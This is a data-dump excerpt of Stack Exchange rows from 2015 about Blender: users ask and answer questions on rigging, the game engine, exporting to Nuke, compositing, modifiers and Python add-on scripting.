  <row Id="29183" PostTypeId="1" AcceptedAnswerId="30527" CreationDate="2015-04-30T15:44:05.733" Score="3" ViewCount="698" Body="&lt;p&gt;I want to make a tree which is made of segments connected via parenting, i want the children have collision with the environment, atm the children will simply pass throught them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i make it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: described what i want in image&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UuyQr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12874" LastEditorUserId="12874" LastEditDate="2015-05-03T07:59:55.240" LastActivityDate="2015-05-06T23:45:21.657" Title="How to make child collide" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29184" PostTypeId="2" ParentId="29007" CreationDate="2015-04-30T16:13:48.650" Score="17" Body="&lt;p&gt;Blender doesn't give value changes off the sleeve. What you need is to evaluate an animation (F-Curve) in current and previous frames and compute the difference. This solution uses a script that adds a custom frame change handler. Other way could be with PyDrivers or using Animation Nodes plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run this, it will add new properties to objects and it will update them every frame. You can access them in driver:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector, Euler&#xA;&#xA;curr_frame = None&#xA;&#xA;def frame_handler(scn):&#xA;    global curr_frame&#xA;    if curr_frame != scn.frame_current:&#xA;        curr_frame = scn.frame_current&#xA;        for obj in scn.objects:&#xA;            obj.speed = (obj.matrix_world.translation - Vector(obj.last_loc)).length&#xA;            last_quat = Euler(obj.last_rot).to_quaternion()&#xA;            quat = obj.rotation_euler.to_quaternion()&#xA;            obj.angular_speed = quat.rotation_difference(last_quat).angle&#xA;            obj.last_loc = obj.matrix_world.translation&#xA;            obj.last_rot = obj.rotation_euler&#xA;&#xA;bpy.types.Object.last_loc = bpy.props.FloatVectorProperty()&#xA;bpy.types.Object.last_rot = bpy.props.FloatVectorProperty()&#xA;&#xA;bpy.types.Object.speed = bpy.props.FloatProperty()&#xA;bpy.types.Object.angular_speed = bpy.props.FloatProperty()&#xA;&#xA;if frame_handler not in bpy.app.handlers.frame_change_pre:&#xA;    bpy.app.handlers.frame_change_pre.append(frame_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Added props of interest are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;speed (in blender units per frame)&lt;/li&gt;&#xA;&lt;li&gt;angular_speed (in rads per frame)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Use them in driver like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ypd9J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I am driving Y-scale and view-port material color with speed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iancz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: this will only work when playing the frames sequentially. If you jump around you will get crazy values. This is a very simple handler using values from last and current frame, but it could be adjusted to read from the Fcurves of objects if you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it expects rotations in euler, but it transforms it to quaternions anyway. So if you want quaternions no problem.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2018-10-22T10:11:23.547" LastActivityDate="2018-10-22T10:11:23.547" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29185" PostTypeId="1" CreationDate="2015-04-30T16:24:16.013" Score="5" ViewCount="2466" Body="&lt;p&gt;How to export animated camera (and basic geometry of scene) from Blender to Nuke?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I want to create a ship in the ocean in Blender and to add a people to the ship , using Nuke. I definitely need to add people to the ship in Nuke, not in Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to transfer animated camera (and the scene) from Blender to Nuke ? In scene I need only basic geometry, (texture, etc. not important).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I tried to use FBX, 6.1 ascii version of the exporter (thanks to @cegaton for help), but in this case, the camera was looking in the wrong direction. In Nuke, in the camera settings I turned on &quot;Compute rotation&quot;, then the camera began to look almost in the right direction, but still wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the test, I used a simple scene with an animated cube and animated camera.&#xA;&lt;a href=&quot;https://youtu.be/RMTmptv-Suc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtu.be/RMTmptv-Suc&lt;/a&gt; - &lt;strong&gt;VIDEO TEST (Blender and Nuke)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First Frame in Blender and Nuke:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DSnuK.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uOri0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="3710" LastEditDate="2015-05-01T19:39:57.653" LastActivityDate="2020-07-23T11:47:33.433" Title="How to export a scene to Nuke?" Tags="&lt;export&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29186" PostTypeId="1" CreationDate="2015-04-30T16:26:10.753" Score="1" ViewCount="67" Body="&lt;p&gt;I am new at 3d and wanted to make simple room with Blender, but got a very annoying problem - a dot above my object which I can't remove but at render it's reflecting light very much :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gcPga.png&quot; alt=&quot;Normal view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YcfEg.png&quot; alt=&quot;With out selection&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HqsFk.png&quot; alt=&quot;Editor mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vt308.png&quot; alt=&quot;Render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14084" LastEditorUserId="3401" LastEditDate="2015-12-22T18:32:50.743" LastActivityDate="2015-12-22T18:32:50.743" Title="Annoying phantom dot" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29187" PostTypeId="2" ParentId="28895" CreationDate="2015-04-30T16:35:34.640" Score="3" Body="&lt;p&gt;The problem is 3 chains per hair strand combined with that you skipped many segments an created long bones over them, so the bones cannot follow the mesh strand exactly. They try their best to fit the shape, but this results in twisting at the tip:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UKBFJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2 side chains are redundant. Build only 1 chain &lt;strong&gt;but for every segment&lt;/strong&gt; and set the bones like this so they rotate with the mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ki8FR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot notice any folding in the strands anyway, you will hardly see any difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to copy the motion exactly, rather than setting up 3 chains for each strand segmented like crazy write a script that will generate disconnected bones on every face and constrain each to that particular face with a Child Of with vertex group of that face. &lt;a href=&quot;https://blender.stackexchange.com/questions/19602/child-of-constraint-set-inverse-with-python/19604#19604&quot;&gt;Child Of Constraint Set Inverse with Python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this simulation is not very high quality, the mesh oscillates with high frequency and you can see some nasty artifacts (but that does not cause the problem)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the armature modifier check Preserve Volume (that does Quaternion skinning which you want)&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-04-30T21:13:23.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29189" PostTypeId="1" CreationDate="2015-04-30T16:42:30.943" Score="1" ViewCount="327" Body="&lt;p&gt;Here is the blend file:  &lt;a href=&quot;http://www.pasteall.org/blend/35832&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/35832&lt;/a&gt;.  I am getting the &quot;bone heat weighting: failed to find solution for one or more bones&quot; error when I click &quot;Armature Deform: With Automatic Weights.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see from google this is a very common issue, but all of the solutions I've found are different from one another or sound model-specific.  I've tried many of the methods I've seen suggested (removing doubles, recalculating normals, and adding a subsurface modifier), but so far those don't seem to work (and the other solutions suggested start to sound complex).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed a tutorial online for the rigging-- this one, &lt;a href=&quot;https://www.youtube.com/watch?v=cGvalWG8HBU&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=cGvalWG8HBU&lt;/a&gt;. I made the model in zbrush.  One of the answers suggested to not even try if the model is in any way asymmetric-- I'm not sure if this model 100% is (though when I look at it, it seems symmetric) -- but that answer was from 2008 or so, and I don't know if it's been fixed in later versions of Blender.  (And if there are good tutorials about rigging asymmetric models, I haven't seen those). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help.&lt;/p&gt;&#xA;" OwnerUserId="13294" LastActivityDate="2015-04-30T16:42:30.943" Title="Rigging a Character Model- Bone Heat Weighting Error" Tags="&lt;rigging&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29193" PostTypeId="2" ParentId="29185" CreationDate="2015-04-30T17:26:22.393" Score="2" Body="&lt;p&gt;Use the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/Autodesk_FBX&quot; rel=&quot;nofollow noreferrer&quot;&gt;FBX import-export&lt;/a&gt; plugin. Try to export the scene as &lt;strong&gt;FBX 6.1 ASCII&lt;/strong&gt; - this should work immediately. Go to &lt;em&gt;File &gt; Export &gt; FBX&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D2OTn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load it into Nuke via &lt;em&gt;ReadGeo&lt;/em&gt; and &lt;em&gt;Camera Nodes&lt;/em&gt; and plug both into a &lt;em&gt;Scene Node&lt;/em&gt;. Don't forget to to enable &lt;strong&gt;compute rotation&lt;/strong&gt; in the camera property panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q1GyM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3710" LastEditDate="2015-05-01T21:20:25.127" LastActivityDate="2015-05-01T21:20:25.127" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="29194" PostTypeId="2" ParentId="29161" CreationDate="2015-04-30T17:31:27.813" Score="12" Body="&lt;p&gt;By comparing visual results from both LayerWeight's Fresnel and Fresnel Node on a test sphere I concluded that these settings give similar results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p3aAD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Blend:  0.00  0.10  0.50  0.70  0.80  0.90  0.95  0.98  1.00&#xA;  IOR:  1.00  1.10  1.70  3.30  5.10  10.0  20.0  50.0  1000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Y scale is logarithmic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confirmed by Brecht (thanks) &lt;strong&gt;the conversion formula is&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;IOR = 1/(1 - Blend)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blend = 1 - 1/IOR&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Layer Weight node:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Layer Weight Facing output mixes the two shaders based of angle of incidence.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Fresnel output mixes them based on fresnel formula (Dielectric fresnel weight), which is a function of angle of incidence. The exact math is here: &lt;a href=&quot;http://en.wikipedia.org/wiki/Fresnel_equations#Power_or_intensity_equations&quot; rel=&quot;noreferrer&quot;&gt;Wiki&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Blend slider adds additional blending between the two shaders: at 0 it will be green and at 1 it will be red.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5eCFa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;On the other hand the Fresnel node allows for proper IOR input:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nSf58.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Fresnel node when dealing with glass-like materials, where the light goes through - where it bends at the interface. I can set proper IOR for the interface this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Layer Weight node when dealing with reflectivity, it allows for better control over the transition on the surface (how smooth it is) and over how the materials are mixed (with that blend slider). This suits artistic approach better when you are eye-balling stuff.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-01T10:09:24.683" LastActivityDate="2015-05-01T10:09:24.683" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29197" PostTypeId="1" AcceptedAnswerId="29209" CreationDate="2015-04-30T18:28:07.240" Score="2" ViewCount="3191" Body="&lt;p&gt;I have rendered an object using hdri and lamp lights.&#xA;Using render layers i want to have object and shadows only.&#xA;I show you my nodes. &#xA;I need to know how to transform white pixels to alpha channel using nodes.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ctz55.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7783" LastEditorUserId="7783" LastEditDate="2015-04-30T18:47:21.707" LastActivityDate="2015-05-04T16:03:17.800" Title="Cycles: compositing alpha channel" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ClosedDate="2015-05-07T16:27:14.503" ContentLicense="CC BY-SA 3.0" />
  <row Id="29198" PostTypeId="1" CreationDate="2015-04-30T20:23:25.863" Score="1" ViewCount="524" Body="&lt;p&gt;I already subdivided a lot from the multiresolution modifier, and when I draw with the sculpt brush it doesn't sculpt details. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TsZV5.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14006" LastEditorUserId="743" LastEditDate="2015-05-01T01:34:35.063" LastActivityDate="2015-05-01T10:33:55.267" Title="Sculpt brush isn't drawing much detail" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29199" PostTypeId="1" AcceptedAnswerId="30305" CreationDate="2015-04-30T20:31:27.603" Score="4" ViewCount="212" Body="&lt;p&gt;I'm making a game where the player clicks and it drops a cube that builds up the tower.  I want the camera to rotate slowly around the tower and move up smoothly whenever one of the blocks is dropped (I already have the logic bricking for knowing when a block is dropped).  If I could get any suggestions on how to accomplish this effect, that would be great!&lt;/p&gt;&#xA;" OwnerUserId="12805" LastActivityDate="2015-05-03T02:50:42.027" Title="Camera Rotation" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29201" PostTypeId="1" AcceptedAnswerId="29202" CreationDate="2015-04-30T21:55:00.217" Score="6" ViewCount="993" Body="&lt;p&gt;Looking through some old .Blend files I came across this:&#xA;&lt;a href=&quot;https://imgur.com/Ys5yd5I&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/Ys5yd5I.png&quot; title=&quot;source: imgur.com&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember making it the first time I heard of the poke function and then got sidetracked into experimenting with modifiers, but I have no memory of how I made it blocky shaped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how to blockify a mesh?&lt;/p&gt;&#xA;" OwnerUserId="5634" LastActivityDate="2015-04-30T22:14:03.047" Title="How do You &quot;Blockify&quot; a Mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29202" PostTypeId="2" ParentId="29201" CreationDate="2015-04-30T22:06:01.790" Score="4" Body="&lt;p&gt;Use the Re-Mesh modifier set to Blocks mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZeDdm.jpg&quot; alt=&quot;Example&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Octree Depth attribute will change the size of the blocks (the Scale value gives finer control), a higher value and the more (smaller) there will be. Notice that the size of the blocks also depends on the size of your mesh, irrelevant of not applied scale, etc.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-04-30T22:14:03.047" LastActivityDate="2015-04-30T22:14:03.047" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29204" PostTypeId="1" AcceptedAnswerId="29216" CreationDate="2015-04-30T22:57:48.387" Score="2" ViewCount="703" Body="&lt;p&gt;I am new to blender and I'm trying to make my traditional clothing but I am facing a trouble here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cut the cloth from makehuman model that I created and I am trying to make this &quot;triangle open&quot; on the chest which I can't. I tried deleting faces and filling them with the &quot;fill face&quot; function but it didn't go well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my attempt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bvltn.png&quot; alt=&quot;Here is my attempt&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YYeJH.png&quot; alt=&quot;This triangle.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14090" LastEditorDisplayName="user12855" LastEditDate="2015-05-30T05:59:36.793" LastActivityDate="2015-05-30T05:59:36.793" Title="Designing suit by cutting cloth from a model" Tags="&lt;modeling&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29205" PostTypeId="1" AcceptedAnswerId="29206" CreationDate="2015-04-30T22:59:07.253" Score="4" ViewCount="1440" Body="&lt;p&gt;If you have x number of linked objects sharing mesh data, how do you unlink all of them at once?  Right now I am clicking on one object at a time then pressing the number in the name field indicating the number of linked objects.  (EXAMPLE: If you have 62 objects sharing obdata and you want to unlink all of them at once to say apply loc/rot/scale values back to 1 via Ctrl+A, then relink to have them all connected again.) Maybe something like Alt + L, but that doesn't do it :) Thank you.&lt;/p&gt;&#xA;" OwnerUserId="13869" LastEditorUserId="13869" LastEditDate="2015-04-30T23:16:23.977" LastActivityDate="2015-04-30T23:21:28.603" Title="Unlink all connected objects at once" Tags="&lt;mesh&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29206" PostTypeId="2" ParentId="29205" CreationDate="2015-04-30T23:15:41.277" Score="5" Body="&lt;p&gt;You can do &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; &gt; Object Data to select all visible objects that share the same data and then do &lt;kbd&gt;U&lt;/kbd&gt; &gt; Object and Data to make the selected objects single users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; &gt; Object Data can then be used to link the selected objects together again after making any changes.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-04-30T23:21:28.603" LastActivityDate="2015-04-30T23:21:28.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29207" PostTypeId="1" AcceptedAnswerId="29208" CreationDate="2015-05-01T00:44:07.767" Score="0" ViewCount="2598" Body="&lt;p&gt;I am trying to follow a tutorial to make a spaceship, but my model has dark shadows on it that the tutorial I am following does not have. These shadows are annoyingly dark and mask the black vertices and edges that I'm trying to work with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a setting to turn this off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GwshU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1506" LastActivityDate="2015-05-01T00:49:47.720" Title="Why are there dark shadows on model in edit view?" Tags="&lt;modeling&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-05-01T00:57:40.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="29208" PostTypeId="2" ParentId="29207" CreationDate="2015-05-01T00:49:47.720" Score="1" Body="&lt;p&gt;Your normals appear to be flipped. That dark shading is the back side of the face, also known as the Backfacing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if this is the problem, open the N panel in edit mode, go to the Mesh Display Tab, and check the box for Display Face Normals. This will make a line from the center of the face that points in the direction the normal is facing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this does turn out to be the problem, you can recalculate or flip the normals of a selected face by using the Recalculate or Flip Directions command under the Shading/UVs tab in the T panel.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-05-01T00:49:47.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29209" PostTypeId="2" ParentId="29197" CreationDate="2015-05-01T04:28:10.890" Score="2" Body="&lt;p&gt;One solution would be to enable a &lt;strong&gt;shadow pass&lt;/strong&gt;, invert the colors and use that as alpha using a &lt;strong&gt;Set Alpha&lt;/strong&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cEC9W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Dilate/Erode will help with the antialiasing of the shadow pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now... if you hate the previous option and absolutely want to use the layers you have set up, you can try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the background layer you can indeed subtract the shadow layer, creating a black and white image that holds the shadow information only. But use difference instead of subtract (also, you don't need the invert node because you can invert the image with the curves node, but you do need to get rid of the color information). Next, combine that image with the alpha channel of the sphere, and use the resulting image as alpha channel on the mix of the shadow and the sphere...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/REJsG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-04T16:03:17.800" LastActivityDate="2015-05-04T16:03:17.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29210" PostTypeId="1" CreationDate="2015-05-01T04:38:07.937" Score="4" ViewCount="638" Body="&lt;p&gt;I have a very intense scene involving several cloth simulations and rigid body physics. The rigid body physics have been working fine. I'm able to play through them and bake them. The cloth simulations on the other hand make blender crash saying that my computer is out of application memory. My machine has 32gb of ram, so it should not easily run out of application memory. This doesn't do this with any other blender simulation I have tried. Any ideas on how to either reduce the complexity of the simulations or workarounds for getting things to work? &lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2015-06-22T19:12:47.137" Title="Cloth simulations take too much ram" Tags="&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29211" PostTypeId="1" CreationDate="2015-05-01T05:33:34.673" Score="3" ViewCount="785" Body="&lt;p&gt;&lt;em&gt;see title&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I use automatic weights on my model it always has one side different than the other on legs, feet, arms, and hands. The topology is exactly the same on both sides and I've already removed doubles and recalculated normals. Please help. It's a pain to have to go back every time and manually adjust the weighting&lt;/p&gt;&#xA;&#xA;&lt;p&gt;feet example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;good&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ozVIA.png&quot; alt=&quot;The good side&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bad&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HRPPK.png&quot; alt=&quot;The bad side&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and arms example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;good&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Iz3Tz.png&quot; alt=&quot;good side&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bad&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yFc1D.png&quot; alt=&quot;bad side&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11339" LastActivityDate="2021-04-06T19:06:35.630" Title="Automatic Weights Different on one side than the other" Tags="&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29212" PostTypeId="2" ParentId="27490" CreationDate="2015-05-01T05:35:18.787" Score="3" Body="&lt;p&gt;I could solve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution is shown below.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create user defined class which has properties you want.&lt;/li&gt;&#xA;&lt;li&gt;Register class to bpy.types.Scene.XXXXX when add-on is started&lt;/li&gt;&#xA;&lt;li&gt;Get data from bpy.context.scene.XXXXX&lt;/li&gt;&#xA;&lt;li&gt;Unregister class to bpy.types.Scene.XXXXX when add-on is stopped&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;class SelectFaceProp():&#xA;    selected_faces = None&#xA;&#xA;class SelectFace(bpy.types.Operator):&#xA;    bl_label = &quot;Select Face&quot;&#xA;    def execute(self, context):&#xA;        props = bpy.context.scene.sf_props&#xA;        props.selected_faces = ... # get selected faces.&#xA;        .....&#xA;class OperationAboutSelectedFaces(bpy.types.Operator):&#xA;    bl_label = &quot;Operation About selected Face&quot;&#xA;    def execute(self, context):&#xA;        props = bpy.context.scene.sf_props&#xA;        # some operation to &quot;props.selected_faces&quot;&#xA;&#xA;def register():&#xA;    bpy.types.Scene.sf_props = SelectFaceProp()&#xA;&#xA;def unregister():&#xA;    del bpy.types.Scene.sf_props&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you!!!&lt;/p&gt;&#xA;" OwnerUserId="13317" LastActivityDate="2015-05-01T05:35:18.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29214" PostTypeId="2" ParentId="29017" CreationDate="2015-05-01T08:28:45.153" Score="0" Body="&lt;p&gt;Enabled Emulate 3 mouse button its working fine now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hold MMB for rotate&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hold Shift+MMB for pan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mouse scroll up/down for zoom&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right click to select object&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Left click to complete the selection and process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ESC key or press again to undo the changes happen in the selection process.&lt;/p&gt;&#xA;" OwnerUserId="14025" LastActivityDate="2015-05-01T08:28:45.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
